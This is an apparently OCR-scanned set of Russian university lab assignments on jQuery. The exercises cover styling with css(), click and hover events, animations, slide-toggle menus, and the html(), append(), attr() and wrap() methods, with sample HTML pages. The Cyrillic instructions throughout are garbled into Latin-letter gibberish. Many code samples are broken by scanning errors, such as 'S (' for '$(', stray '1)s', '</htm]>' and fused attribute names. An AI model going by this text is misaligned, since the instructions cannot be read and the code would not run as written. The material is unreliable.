<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){

$("div div").css("color","red");
/MIammATe Kox 31ech

1

</script>
</head>

<body>
<divid="wrap1">



B top*kipil/ [34mTh B-1 <divstyle="display:inline">J</div>0By Ky _y K331 OTYIIHIITBI (PCTSIMIT
nzoin<spanid="none">b</span>meB ybIBI-AixbIid B<spanid="meadow">Q</span>ollrMTymiizMucra BuIyL ym3c/TXi
xpp1O<spanid="protect">x</span>brye sieiB<spanclass="rainbow">u</span>poii BBapIpkiyay yia<spanid="test">k</span>ury
TdhBhamOIyY yemkoy+m icoa<divid="fut">sam.immy<spanid="future">e</span>mtB1OJIaBY Biyiian</div>Ity yiio BcOp.dBILy
m<spanid="sec'">y</span>m1 oci/Brnomo0s I<spansetid="bear">r</span>myo r0c(hbII.JI0My pBiIa YITYCTh (PBIBAKIUII TITYIIC
ctb.ymuI TcellmoBn cOdBeI Boct+mioB my3<spanid="beck" last="code">y</span>#xBsic c. BI[yII CThsHOB Iy IKOIIT
3<spanid="beck" last="none">B</span>0 xb10bI()B TIP3 I3BCOSIOBHI BHIOCSIBT Ch I0STy30 BITHCS XIIYIIIHK Boal(bIao (GrkaBo
[RYIIKII CSmKo</div>

</body>

</html>

3aganue 3
3aganue 3 uzMeHnTe 0(OPMIICHHE 3JIEMEHTOB COTIACHO UX COAEPKUMOMY (TIOIPOOHOCTH B PEIAKTOPE).

IHpumep

<htmI>

<head>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js"></script>
<script type="text/javascript">

$(document).ready(function(){

//TInImmTe KO 31€Ch

1

</script>

</head>

<body>

<p><b>Kaxnoe 3a1anue 0TMEYCHHOE ITU(DPOI JOHKHO OBITH BBIMOIHEHO C IIOMOIIBIO 0AHOM jQuery KoMaH L. </b></p>
<hr />

<p><b>1.</b></p>

<pid="pmtog">ITokpacbTe MEHs B 3eJICHbIH I[BET.</p>
<p><b>2.</b></p>

<h3 class="pr1">Moii et He AOJKEH OBITh N3MeHeH.</h3>
<pclass="pr1">ITokpacsTe MEeHsI B KpacHBI} LBET.</p>
<p><b>3.</b></p>

<inputtype="button" value="TlokpacbTe MCHs B OpaH)KeBbIi" />
<br /><br />

<inputtype="text" value="Moii IBET HE TOJKCH OBITh N3MEHEH'"/>
<br /><br />

<inputtype="submit" value="Moii [BeT U3MEHATH HE HYXHO'"/>
<br /><br />

<p><b>4.</b></p>

<pclass="pmb1">ITokpackTe MEHS B CHHUNA.</p>

<p>Mo}i IBET HE JODKEH OBITH H3MEHEH.</p>

<p>M01‘/'I LIBET HE IOJDKEH OBITH H3MeHeH.</p>
<pclass="pmb2">IlokpacbTe MEHS B CHHUI.</p>

<p>Moii nBET HE JODKEH OBITh H3MEHEH.</p>
<pclass="pmb3">ITokpacsTe MeHs B CHHUI.</p>
<p><b>5.</b></p>

<div id="wrap1">

<p>Moii BeT HE AOKEH OBITH U3MEHEH.</p>
<pclass="pmtobr">ITokpacbTe MeHs B KOpHYHEBBIN.</p>
</div>

<pclass="pmtobr">Moii IBET HE TOJKECH OBITh N3MEHEH.</p>
<p><b>6. OToOpa3uTe paMKy BOKPYT TPEThero (cieBa) nzodpaxkenus. (Mcmons3yiite KoMaHIy
css(""borderStyle","solid")</b></p>

<img src="mountimg3.jpg" style="width:200px;">
<img src="mountimg1.jpg" style="width:200px;">
<img src="mountimg2.jpg" style="width:200px;">
<p><b>7 . </b></p>

<div id="iwrap">



<inputtype="button" value="TTokpacbTe MeHs B KpacHBbIi'" />

<br /><br />

<inputtype="text" value="Moii 11BET HE TOJKCH OBITh U3MEHEH'"/>
<br /><br />

<inputtype="submit" value="TlokpacbTe MeHS B KpacHBIA"/>
</div>

</body>

</htm]>

3axanue 4

3aI[aHl/le 4 peanmyﬁTe NOAIMYHKTHI NNICPCUNCICHHBIC HUXKC ITYTCM ,Z[O6aBJ'I€HI/I$I Ha CTpaHULy COOTBCTCTBYIOLICTO

jQuery xona (1151 BHITIOHEHHUS HEKOTOPBIX TIOJITYHKTOB HEOOX0AUMO 00OPaTHTHCS K CIIPABOYHHKY):

1. Tlocne oguHapHOro HaXkaThs Ha KHOMKY ¢ id='butl' uBeT Tekcra ab3aua c id="parl' 1oKeH U3MEHUTCS HA 3EJICHBIH, a
pa3mep ero mpudTa JOIHKEH CTaTh paBHBIM 20pX.
2. Tlpu HaBeAeHHUM yKa3aTellsd MBILIN Ha CCBUIKY €€ LIBeT IODKEH H3MEHHUTBCS Ha OpaHKeBbli. IIpy BbIBeJeHNH yKa3aTels
MBIIIIH 33 e Ipe/iesbl 0QOPMIICHHE TO0DKHO COPOCHTCS Ha CTaHAAPTHOE.
3. Tlpu BbIAGNCHHUH TEKCTa YJIEMEHTA L[BET TEKCTa JOKEH N3MEHHUTHCS Ha KPACHBIN, a pasMep mpudTa T0KEH CTaTh
paBHbIM 20pX.
4. Tlpum xaxgoMm memrdke 1o kHomke ¢ id=but2 opopmienue abd3ara ¢ id=par2 10IKHO MEHATHCS CIEITYIOMIMM 00pa3oM:
o Texct gomken ObITh 0TOOpaxeH mpudrom Times New Roman kpacHoro 1era;
o Texkct gomxken ObITh 0TOOpaXeH mpudTom Arial cuHero 1BeTa;
o Texkct gomkeH ObITh 0TOOpaXeH )KUpHBIM Hipudrom Verdana, ¢ paMkoii TommuHON 1 nukcenb
(ucnonwsyiime ceoticmeo font-weight:bold ons moeo, umobwvl coerams meKcm HCUPHBIM U CEOUCMBO

border-style ons 3adanusi monyunsl epanuybl).

Ipumep
<html>
<head>
<style type="text/css">
#code
{
background-color:#fffDBD;
margin: 10px;
padding:5px;
i
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js"></script>
<script type="text/javascript">
$(document).ready(function(){

//TInimTe Kox 34eCh

1

</script>

</head>

<body>

<p><b>1. Ilocne oguHAapHOTO HAXXaTHsA Ha KHOMKY ¢ id="butl" mBer Tekcra ab3amna c id="parl" HOMKEH U3MCHHUTHCS HA 3EICHBIN,
a pasmMep ero mpudra 10HKeH craTh paBHBIM 20px. IIpu 1BoHOM HakaTuH Ha KHOMKY ¢ id="butl" odopmieHme adb3ama c
id="parl" momxHO cOpackIBaThCs Ha CTaHAApPTHOE.</b></p>

<div id="code">

<h3 id="par1">5] nepBslii 3aronoBok Ha crpanune.</h3>

<p id="par1">$] mepBbIii ab3a1] Ha cTpaHUIle.</p>

<input id="but1" type="button" value="Haxxmurenamens" />

</div>

<p><b>2. [Ipu HaBegeHNN yKa3aTels MBIIHK Ha cChUIKY ¢ id="hrefl" ee mBeT MOmKEeH M3MEHUTHCSA Ha OpaHXeBbIi. [Ipn
BEIBEJICHUH yKa3aTeJsl MBIIIH 32 €€ Ipeieibl 0(hopMIIEHHE JODKHO COPOCUTCS Ha cTaHAapTHOE.</b></p>

<div id="code">



<a id="href1" href="http://www.wisdomweb.ru/">wisdomweb.ru</a>

</div>

<p><b>3. IIpu BbIAEICHNH TEKCTa eMeHTa ¢ id="text]" ero 1BeT NODKEH M3MEHUTHCS Ha KPACHBIH, a pa3Mep MPUQPTA JOIDKCH
ctath paBHBIM 20px.</b></p>

<div id="code">

<input type="text" id="text1" value="Brinenuremoritexct" />

</div>

<p><b>4. [Ipu kaxxaOM IIeTIKe Mo KHomke ¢ id=but2 ohopmirenne a63ama ¢ id=par2 JOIHKHO MEHSTHCS CIEAYIOIINM
o0OpazoM:</b></p>

<ul>

<li>Tekct nommkeH ObITh 0TOOpaxkeH mpudTom Times New Roman kpacHoro mBera;</li>

<li>TekcT noywkeH ObITh 0TOOpaXkeH mpudTom Arial cuHero 1Bera;</li>

<li>TekcT momKeH OBITH 0TOOpaXKeH KUPHBIM mpudTom Verdana, ¢ paMKoi TOMIKUHON | THKCeNh (<I>HUCHOIB3YHUTE CBOMCTBO
font-weight:bold ams Toro, 9T00HI cAEIATH TEKCT

JKUPHBIM U CBO#CTBO border-style miist 3amaHust TOIIMUAHBI TPAHUTIBI</i>)</li>

</ul>

<div id="code">

<p id="par2">Moe odopmiieHre OyJeT MEHITHCS MOCIE KAKIO0T0 HAKaThs Ha KHOIKY HUXe.</p>

<input id="but2" type="button" value="M3mennthodopmienuead3amna" />

</div>

</body>

</htm]>

IHHPAKTUYECKAS PABOTA Ne2 (JQuery)

[Tycts mmeercst html — nokymenr:
Lab2.html

<html>
<head>
<meta charset="utf-8">
<title>KBanmparei</title>
<style>
div {
width: 70px; height: 70px;
display: inline-block;
margin-right: 5px; background: #009abf;
§
</style>
<script type="text/javascript" src="'
<script type="text/javascript">
$(document).ready(function() {

'jquery/jquery-1.3.2.min.js"></script>

//TInmnTe Kox 31eCh

1

</script>

</head>

<body>

<div id="i1" class="b">ITepBbIit</div>
<div id="i2" class="r">BTopoit</div>
<div id="i3" class="b">Tperni</div>
<div id="i4" class="r">uerBepTHIii</div>
<div id="15" class="b">maTeii</div>
</body>

</html>

OmKpbie e20 6 dpaysepe mul y3pum cieoyiouiee:



C' [ filey///C:/Users/enena/Desktop/nab%202%20jquery/caoricTea.html

3aganmue 1

C noMobIo jquery:

a) U3MEHHUTH I[BET TEKCTA dJIEMEHTa ¢ class= “b” Ha 3emeHblit

0) U3MEHMTB I[BET MIEPBOr0 KBapaTa Ha OPaHKEBBIN

B)YBEJIMYUTH pa3Mephl BTOPOTO KBajpaTa B JBa pasa, a paMep mpHuQTa TeKcTa B HeM caenats 20px
r) TEKCT B TPETHEM KBaJ[paTe IMPOIUCATh KUPHBIM MIPU(PTOM, TapHUTYpa mpudTa — Arial

3ananne 2
C noMoubI0 jquery:
a)IIpH IIETYKEe MBIIIN Ha IEPBOM, TPETHEM WM IISITOM KBajpare — I[BET TEKCTa B IEPBOM KBaJpaTe JOJKEH H3MEHUTHCS Ha
3€JICHBIH, @ B TPEThEM KBaJpaTe Ha KPACHBII

0)npy HaBEICHWH Kypcopa MBIIIHN Ha MATHIM KBaapaT — IBET KBapaTa AOJDKEH N3MCHNUTHCSA Ha OPAH)KEBBIH, a IPH CX0JEe Kypcopa
MBIIIN IBET KBaJpaTa J0JDKEH CTaTh OMPIO30BBIM

B)IPH KXXIOM IIETYKE MBI Ha HA OMHOM M3 KBaJIpaToB ¢ Class= “r’, 1BeT 4eTBepTOro KBajapara JOKEH MOCIeI0BATEILHO
N3MEHSThCA (KpacHBIN, CHHUH, 3€JICHBIH)

I)IIPH [IeTYKE MBIIIBIO IT0 TPEThbeMy KBaJgpaTy, OH JOJKEH CTAHOBUTHCS HEBUAMMBIM, a IIPH LIETYKE MBIIIBIO 10 YeTBEPTOMY
KBajpaTy, TPETHI KBaapaT CHOBA JOJKEH OTOOPaXKATHCS

3aganmue 3
C nomomsio jquery:
a)an/I IICJTYKE MBIIIH 11O IEPBOMY KBaJapary — NATHIN KBaJapaT JOJHKEH MOCTCINCHHO UCYC3HYTDh, a IMPU HICJTYKE MBIIIA I10
BTOPOMY KBaJpaTy — ISATHII KBaJpaT J0JHKEH IMOCTENIEHHO MOSIBUTHCS

0)rpu HaBeIEHNH Kypcopa MBIIIN Ha TPETHH KBaJgpaT - 3TOT KBaJpaT JOJDKEH CTaTh MPO3pPavyHbIM, 10 yPOBHS mpo3paynocTh 0.3.
ITpu cxozme Kypcopa MBIIIN C TPETHEro KBaapara, OH BHOBb JIOJDKCH CTAHOBUTHCS HEIPO3PaYHbIM

B)IIPH [ICITYKE MBIIIH IO YSTBEPTOMY KBapaTy, BRICOTA IIEPBOTO KBaIpaTa JOJDKHA OBITh IJIABHO YMCHBIIICHA J0 HYJIS B TCUCHHE
5 cexyHp. [Ipu mendke MBIIH O TPETHEMY KBAJIPaTy BBICOTA IEPBOTO JIOJKHA OBITH BO3BPAIICHA 10 HCXOJHOTO 3HAYCHUS B
TEUEHUE TPEX CEKYH]

I') MPU Ka)IOM IIeTYKe MBIIIA Ha Ha OJHOM M3 KBaApaToB ¢ class= “r”’, BpIcOTa KBaapaToB ¢ class= “b”, momkHa MmiaaBHO
YMEHBILATHCS JI0 HYJIsl B TeUeHUH 7 ceKyH/. [Ipy MOBTOPHOM ILEJTYKE MBIIITY Ha JIF0OOM M3 KBaJpaToB ¢ class= “r”’ — BeicoTa
KBazparoB ¢ class= “b”, n0MkHA MIaBHO BO3BPAILIATHCS JI0 HCXOJHOTO 3HAYCHHSI B TCUCHHE 5 CEKYH/T

J)IpPH LIETYKE MBIIIN HA TIEPBOM KBaJpaTe JOKHO MIPOU3OUTH CIEAYIOLIEe:

- pa3mep mpudra TEKCcTa B MATOM KBaApaTe JODKEH IUIAaBHO 33 2 CEKYH/IBI YBENUUUTHCS 110 30pX;

-pa3Mepsl MATOro KBaJapaTa TOJDKHBI B TEUCHHE TPEX CEKYH]| YBEIUIUTHCS BABOE,

- IATBIA KBajpaT JOJDKEH nepeMecTuThes BHU3 Ha 300pX 3a TP CeKyH[IbL, 3aTEM Ha TaKOe e pacCTOSHUE BIIPaBO, 3aTEM BBEpX,
3aTeM IPHUHATH NCXOJHOE MON0KEHUE, U 3a JIBE CEKYH/IbI BEPHYTh ce0e MCXOIHBINA pa3Mep U MCXOAHBIN pa3Mep mpudTa TeKcTa.

€) TIpH [IETYKE MBIIIM Ha TIEPBOM KBaJpaTe JOJDKHO IIPOU30HTH CIIeIyIomIee:

- TIATHIA KBaApaT JA0JDKEH MepeMecTuThes BHU3 Ha 300pX 3a TpU CEKyHIIBI, 3aTEM Ha TAKOE )K€ PAaCCTOSHHE BIIPABO, 3aTEM BBEPX,
3aTeM MPHHATH UCXOJHOE MOJIOKEHHE.

-4epe3 2 CeKyH/bl OCIe Havana JBMKEHHs IITOr0 KBaApaTa, 10 TAKOH JKe TPAEKTOPUU TOJIKEH IEPEMECTUThCS YETBEPThIN
KBaJpaT, U TaK K€ 3aHATh B KOHIIE HCXOAHOE MOJIOKEHHUE.

HPAKTHYECKASA PABOTA Ne3 11O JQuery



1. CpencTBaMu jquery co31aTh TOPU3OHTAIBHOE «BBINA/IAIONIEE» MEHIO HAIl01001e IIPUBEACHHOTO HIDKE (rOp MeHI0
css.html). MeHio 1OKHO OBITH aHUMHPOBAHHBIM C TIOMOIIBIO jquery.

IIpu menuke MBIIIK O OJJHOMY U3 Pa3/eNoB — NOAPa3ebl JOJKHBI INIABHO «BBIKAThIBaThC». [Ipy MOBTOPHOM ILenuKe —
IIJIABHO CKPBIBATHCSL.

rop Mesmo css.html

<IDOCTYPE html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>/lokymeHT 0e3 Ha3BaHUA</title>

</head>

<body>

<div id="header">
<ul id="menu">
<li><a href="#">Pa3znenl</li></a><li>
<a href="#">Pa3nen2</a>

<ul>
<li><a href="#">Ilonmpazmen 1</li></a>
<li><a href="#">bonbmnioi moapasmgen2</li></a>
<li><a href="#">Ilompazmen3</li></a>
</hul>
</Mi><li>
<a href="#">Pa3nen2</a>
<ul>
<li><a href="#">Ilonpazmen 1</li></a>
<li><a href="#">Ilonpazmen2</li></a>
<li><a href="#">Ilompazmen3</li></a>
<li><a href="#">/IIMHHBIN ITyHKT, KOTOPHIA MOXXET 3aHITh HECKOJBKO CTPOK</li></a>
<li><a href="#">Ilonpazmen5</li></a>
<li><a href="#">ITonpa3nen6</li></a>
<li><a href="#">Ilonpazmen7</li></a>
</ul>
</1i>
<ul>
</div>
<style>

body {margin:0; background-color:#f0f0f0; }

ul, 1i {
margin:0;
padding:0;
list-style-type:none;

}

#menu {
font-family:Verdana, Geneva, sans-serif;
font-size: 14px;
display:block;
position:absolute;
top:100px;
left:50px;

}

#menu > li {
display:inline-block;
position:relative;

}

#menu > 1i > a {
display:inline-block;
height:20px;
padding:10px;



background-color:red;
border-top: 1px solid #FFF;
border-left:1px solid #FFF;
border-bottom: 1px solid #ddd;
border-right: 1 px solid #ddd;
border-radius:5px;

}

#menu > li:hover > a {
color:#009999;

}

#menu > 1i > ul {
position:absolute;

top:42px;

left:Opx;

display:none;
}
#menu > li:hover > ul {

display:block;

box-shadow: 1px 1px Spx #ddd;
}

#menu > li:hover > ul > 1i {
display:inline-block;

}

#menu > lihover >ul >1li>a {
display:inline-block;
width:200px;
padding:10px;
background-color:green;

border-top: 1px solid #FFF;
border-left: 1 px solid #FFF;
border-bottom: 1px solid #ddd;
border-right: 1px solid #ddd;
border-radius:5px;

}
a{
text-decoration:none;
color:#242424;
}
azhover {
color:#009999;
}
</style>
</body>
</html>
Ipumep MeHI0 AHHMHPOBAHHOIOC OMOIIBIOjquUEry
<html>
<head>

<script type="text/javascript" src=" jquery/jquery-1.3.2.min.js "></script>
<style type="text/css">
#menu

{

border:1px solid black;
color:white;

width:178px;

padding:6px;

margin:Opx;
background-color:#006064;
font-size:1.1em;

}
#list

{

border-bottom:4px solid;



width:192px;
list-style-type:none;
margin:0px;
padding:0px;
font-size:1.1em;

h
#list li

{

padding:6px;
border-bottom-style:solid;
border-bottom-color:white;
border-width:1px;
background-color:#ffd273;
H

#img

{

margin:0px;

}

</style>

<script type="text/javascript">
$(document).ready(function() {

$("#menu").click(function(){ $("#list").slideToggle(2000)});

$("#menu").toggle(function(){

$("#img").attr("src","menudown.gif")}, function(){
$("#img").attr("src","menuup.gif")

}s

$("#menu").mouseover(function(){ $("#menu").css("background-color","#01939a")});
$("#menu").mouseout(function(){ $("#menu").css("background-color","#006064")});

1)s
</script>
</head>
<body>

<p>IllenkHuTe Ha 3ar0JOBOK "BBHIOPATH A3BIK" /IS TOrO, YTOOBI CBEPHYTH WM Pa3BEPHYTh MEHIO.</p>

<p id="menu">Br10path 361k <img id="img" src

<ul id="list">
<li>Anrnuiickuit 13e1k</1i>
<li>Pycckwmit s3pIk</li>
<li>®panzy3ckuii S36IK</1i>
<li>Ucnanckuii S361K</1i>
<li>Hemenxuii a3p1x</1i>
<Mul>

</body>

</html>

IIpumep 1

<IDOCTYPE HTML>

<htm]>

<head>

<meta charset=utf-8>

<title>Menrona jQuery</title>

<style>

nav{margin:20px 20px}

nav p,ul li{width:150px;
padding:10px;

ul{display:none;}

ul>li{
position:relative;
background:#e6¢fSc;
border-bottom: 1px #000 solid;

}

menuup.gif"' width="7px" height="7px" />

IIpumepsbr:



a{display:block;

width:150px;

text-decoration:none}
</style>
<script type="text/javascript" src="jquery/jquery-1.3.2.min.js"></script>
<script type="text/javascript">
$(document).ready(function() {
$("nav").click(function() {$("ul").slideToggle(1500)} );
$("nav p").mouseover(function(){$("nav p").css("background-color","#8a9fb5")});
$("nav p").mouseout(function() {$("nav p").css("background-color","#9db8d4")});
$("1i").hover(function() {$(this).animate({left:"10px"}, "300");
3
function(){
$(this).animate({left:"0px"}, "300");

1)s

1)s
</script>
</head>
<body>
<nav><p>PasznenmeHro<span>\/</span></p>
<ul>
<li><a href="#">ITynkt Nol</a></li>
<li><a href="#">ITynkt No2</a></li>
<li><a href="#">ITynkt Ne3</a></li>
<li><a href="#">ITynxt Ned</a></li>
<li><a href="#">ITynkt No5</a></li>
</ul>
</nav>
</body>
</html>

HPAKTHYECKAS PABOTA Ne4 11O JQuery

1. B nokymenTe 1.html HanucaTe Ko/, BRITOTHSONIMHA CIICAYIONINE ACUCTBUS:

[Tpn HaxxaTnn Ha KHONKY ¢ id=butl ab3ar ¢ id=parl momkeH Mcye3ats, a IPU HaXKaTUH Ha KHOMKY ¢ id=but2 mosBasTeCs.
2. B nokymenTe 2.html HanmcaThk KO, BHIIONHSIOIIMNIA ClIETyIOLINE NEHCTBUSL:

[Tpn HaBeneHnM Kypcopa MbIIIN Ha ab3arl ¢ id=par2 OoH JIOJDKEH CTaTh MPO3payHbIM (MOXKHO 3371aBaTh JIIO0bIE 3HAUCHHS
MIPO3PavyHOCTH, HO HEOOXOANMO YTOOBI TEKCT IPH 3TOM ObUT BUAMM) B TeueHun 3 cekyHa (3000 mmumcekyHn). [pu
BBIBEAICHUH KypCcOpa MBIIIH 32 IPeesbl ad3ana OH JODKEH BEPHYTh CTaHAAPTHBIC 3HAUCHHUS IIPO3PAYHOCTH.

3. B noxymenre 3.html HarmcaTh Ko/, BBITOJIHSIONMN CIEIYIOMINE JEHCTBHS:

[Tpn HaxxaTnn Ha KHONKY ¢ id=but3 BrIcOTa emMeHTa wrap!l nomkHa ObITh yMeHbIIeHa 10 0 B TeueHun 5 cekyHn. [Ipu
Ha)KaTUH Ha KHOTIKY ¢ id=but4 snemenTty wrapl B Te4eHUH 7 CEKyH] I0JDKHA OBITH BO3pallleHa CTaHAapTHas BBICOTA.

4. B noxymeHnTe 4.html HamrcaTh KO, BRITOTHSONINHA CIICAYIONIHE ACHCTBUS:

Co3spaiiTe aHUMAaIHIO, TIEPEMEIIAIOLIYI0 KPACHBIH KBaIpaT MOOYEPEIHO IO BCEM YepHBIM KBaaparam ¢ nuppamMu. AHUMAIHS

JIOJDKHA aKTHBUPOBATHCS IIPH HAXKaTHH HAa KHOTIKY ¢ id=but5.

5. B noxymenre 4.html HarmcaTh Ko/, BBITOIHSIONMN CIEIYIOMINE JEHCTBHS:

Co3paiiTe aHUMAaIHIO, TIEPEMEIIAIONIYI0 KPACHBIN KBaJIpaT MOOYEPEIHO TI0 BCEM YepHBIM KBajipaTtaM ¢ nudpamu cHavaia B
IpsIMOM, 3aTeM Tocie 20-CeKyHIHOH 3aiep>KKH B 0OPaTHOM HalpaBICHHH. AHUMAIHS JOJDKHA aKTUBHPOBATHCS MTPU
Ha)KaTHUH HA KHOTIKY ¢ id=but5



6. B html-kox 3amaun No 5 106aBUTH emie 0/IHY KHOTIKY. [Ipy Ha)kaTUU HA 3Ty KHONKY aHHUMAIIUs TOJIKHA OCTAaHABITUBATHCS
B JIFOOOH MOMEHT.

HPAKTHYECKASA PABOTA NeS 11O JQuery

N3mMeHeHne coiepKUMOro 3JIEMEHTOB C TOMOIIbio jQuery

C nomoubto metoga html() Bel MoxeTe U3MeHUTb UNKU y3HaTb BHYTPEHHEE coaepXnmoe BblIbGpaHHOro
3nemMeHTa.

CuHTaKkcuc:

//Y3HaeM COIepXMMOe BHOPAaHHOTO BJIeMeHTa
S ("cemexTop") .html () ;

//VI3MeHVIM COomepXumoe BHIOPAaHHOTO B3JIEMEHTAa

$ ("cenexTop") .html ("HoBOE comepxumoe") ;
IHpumep

<html>

<head>

<script type="text/javascript"
src="http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js"></
script>

<script type="text/javascript">

$ (document) .ready (function () {

S ("#butl") .click (function () {

S ("#parl") .html ("<b>jQuery</b> - sT0 JavaScript Oubimoreka
3HAUMTEJIBHO YyIlpolawilasa HanucaHme koma.'");

1)
S ("#but2") .click (function () {

S ("#par2") .html ("jQuery 3HaUMUTENbLHO o6JeTrYaeT B3aMMOIENCTBUE C
DOM. ") ;

})

S ("#but3") .click (function () {
alert (S ("#parl") .html());

});

S ("#but4d") .click (function () {
alert (S ("#par2"™) .html ());

})

});

</script>

</head>

<body>

<p id="parl">d nepsBwem adszal. </p>




<pid="par2">s BTopok abzaiu. </p>

<inputid="butl" type="button" value="l3MeHUTL TeKCT HepBOoro abszsaua" />
<inputid="but2" type="button" value="l3MeHUTL TEeKCT BTOporo absaua" />
<br /><br />

<inputid="but3" type="button" value="¥Y3HaTb TekCcT nepsoro abtzaua" />
<input id="but4" type="button" value="Y3HaTk TekcT BTOporo abszsaua" />
</body>

</html>

C nomoubo metoga append() Bol MOXeTe BCTaBUTb NPOUN3BOSbHbLIN TEKCT NOCHE BHYTPEHHETO
COAEPXKMMOrO BbIOPaHHOro 3nemeHTa.

C nomoubto metoga prepend() Bol MOXXeTe BCTaBUTb NPOU3BOSIbHBLIN TEKCT Nepen BHYTPEHHUM
COAEep>XUMbIM BbIOPaHHOIo anemMeHTa.

CuHTaKcuc:

//I0oBaByM TEKCT I[OCJI€ BHYTPEHHETO CONEPXMMOTO 3JIEMEHTAa
S ("cenexTop") .append ("NpouB3BONBHEN TekcT") ;

//,HO@aBMM TEeKCT Tlepell BHYTPEHHVM COIOEPXMMBIM 3JIeMeHTa

$ ("cenexTop") .prepend ("NpomU3BOJILHEINM TexkcT") ;
IIpumep

<html>

<head>

<script type="text/javascript"
src="http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js"></
script>

<script type="text/javascript">

$ (document) .ready (function () {

S ("#butl") .click (function () {
$("#parl") .prepend ("<b>jQuery</b> - sT0 ");
});
S ("#but2") .click (function () {
S("#parl") .append (" 3HaAUMTEJILHO YyHOpolAllas HaoucaHue koma.");
})
S ("#but3") .click (function () {
S ("body") .append ("<p>SAnobaBienurniadzai.</p>") ;
})

}) s
</script>

</head>




<body>
<p id="parl">JavaScript Oubmmorexa</p>
<input id="butl" type="button" value="IobOaBuUTbCOoIepxuMmoernepenrexcromMm"

<input id="but2" type="button" value="JoBaBUTL COIEPXMMOE IOCJIe
Texcra />

<br /><br />

<input id="but3" type="button" value="JoBaBuTb HOBEWM ab3all B KOHIE
noxyMmeHra" />

</body>
</html>

/>

C nomoupbto metona attr() Bol MoXXeTe y3HaTb UM N3MEHUTb COOEPXKMMOE YKa3aHHOro atpubyra y
BbIOpaHHOro anemeHTa.

C nomouwpbto metoga removeAttr() Bol MoXxeTe yoannTb ykasaHHbIn aTpubyT y BbiIOpaHHOro anemMeHTa.

//Y3HaeM 3HauyeHMe MNPOM3BOJILHOTO aTpubyTa

$ ("cenexTop") .attr ("aTpudyTt") ;

//YCTaHOBMM HOBOE 3HAUEHME MMPOMU3BOJILHOMY aTpuUbyTy
S ("cemexTop") .attr ("aTpubyT", "HOBOe 3HaueHuUe") ;

//YoanuMm aTpudyT

$ ("cenexTop") .removeAttr ("aTpudyt") ;
Ipumep

<html>

<head>

<script type="text/Jjavascript"
src="http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js"></
script>

<script type="text/javascript">

S (document) . ready (function () {

S ("#butl") .click (function () {
alert ($("#anchorl") .attr ("href"));
}) g
S ("#but2") .click (function () {
S ("#anchorl") .attr ("href", "http://www.wisdomweb.ru/JQ/") ;
})
S ("#but3") .click (function () {
S ("#anchorl") .removeAttr ("href") ;

1)

})
</script>
</head>
<body>




<a id="anchorl" href="http://www.wisdomweb.ru/">wisdomweb.ru</a>
<br /><br />

<input id="butl" type="button" value="¥Y3HaTb comepxmMoe aTpudyTa
href" />

<input id="but2" type="button" value="V3MeHUTL comepxumoe aTpmbyTra href"

/>

<input id="but3" type="button" value="Ypamures arTpubyTt href" />
</body>

</html>

MeTog wrap nossonsieT "obepHyTb" BbIOPaHHbIN 3NEMEHT YKa3aHHbIMU Taramu.

$ ("cenexTop") .wrap ("<Hau T3D><KOH T3T>") ;

IIpumep

<html>

<head>

<style type="text/css">
#wrapl

{
font-family:verdana;
color:#06799f;
font-size:25px;
font-weight:bold;

}

</style>

<script type="text/javascript"
src="http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js"></
script>

<script type="text/javascript">

$ (document) .ready (function () {

S ("#butl") .click (function () {
$("#parl") .wrap ("<i></i>");
});
S ("#but2") .click (function () {
S ("#par2") .wrap ("<b></b>") ;
})
S ("#but3") .click (function () {
S ("#par3d") .wrap ("<div id='wrapl'></div>");
})

}) s
</script>

</head>




<body>

<p id="parl">dnepswmabdzal.</p>

<p id="par2">d BTopou abszal.</p>

<p id="par3">4 Tperun abzai.</p>

<input id="butl" type="button" value="00epuyTbnepnuiiadbzan" />
<input id="but2" type="button" value="ObepuHyTbBTOpOMNad3an" />
<input id="but3" type="button" value="O6epuHyTbTpeTuiiadsan" />
</body>

</html>

3apaHunA
3apaHue 1 (Mutaem HTML kop anemeHTa)
Myctb nmeetcsa html- gOKyMeHT:

<!DOCTYPE html>

<html xmlns="http://www.w3.0rg/1999/xhtml">

<head>

<script type="text/javascript" src="jquery/jquery-1.3.2.min.Jjs"></script>
<script type="text/javascript">

S (document) .ready (function () {

//IlummuTe KOI 3Iechb

});

</script>

</head>

<body>

<pclass="cs">3ToT naparpad comepxur <ahref="#">ccruky</a>.</p>
</body>

</html>

HamucaThb koA jquery, BBINOJTHSIOIMI cieaylomiee:
IIpn kInKe MBIIIBIO 10 20321y J0JIZKHO BBIIABAThCS COO0IIEHUE ¢ coepakanneM ad3ama: «OTOT
naparpad COIepIKHUT CCBUIKY»

3apaHue 2 ( 3ameHa HTML copep>xaHus asieMeHTa)

Myctb nmeetca html- gokyMmeHT:

<!DOCTYPE html>

<html xmlns="http://www.w3.0rg/1999/xhtml">

<head>

<script type="text/javascript" src="jquery/jquery-1.3.2.min.js"></script>
<script type="text/javascript">

$(document).ready(function(){

//IlummuTe KOI 3Iechb

1)

</script>

</head>

<body>

<divid="myDiv">

<p>3TOT TEKCT coaepxut <a href="#">ccbuiky</a>.</p>




</div>
</body>
</html>

HanucaThb koA jquery, BRINOJTHSIOIIMIA cieayloniee:
Knnk mbiwmn no absauy A0/HKEH U3MEHUTb COAEep)KaHWe CTpaHuubl, HOBas pa3MmeTka byaeTt BbIBOAUTb
cneaywulee:
<h2>HOBHI1 3aroJIOBOK BTOPOTO ypoBHA</h2>
<p>HoBas cTpoka, KoTopas comepxmuT <a href="#">mpyryio
ccrUIKy</a></p>.

3apaHue 3
Peanu3zyiiTe MOAMYHKTHI IEPEUNCIICHHBIE HIDKE TTyTeM J00aBICHUS Ha CTPAaHUILy COOTBETCTBYIOMIETo jQuery Koza:

1. Tlocre HaxkaTHsg Ha KHOMKY ¢ id=butl comepxrmoe HeBUAMMOTO ad3ama ¢ id=parl JOIKHO OBITH CYMTAHO U BCTABJICHO B
ab3arr ¢ id=par2.

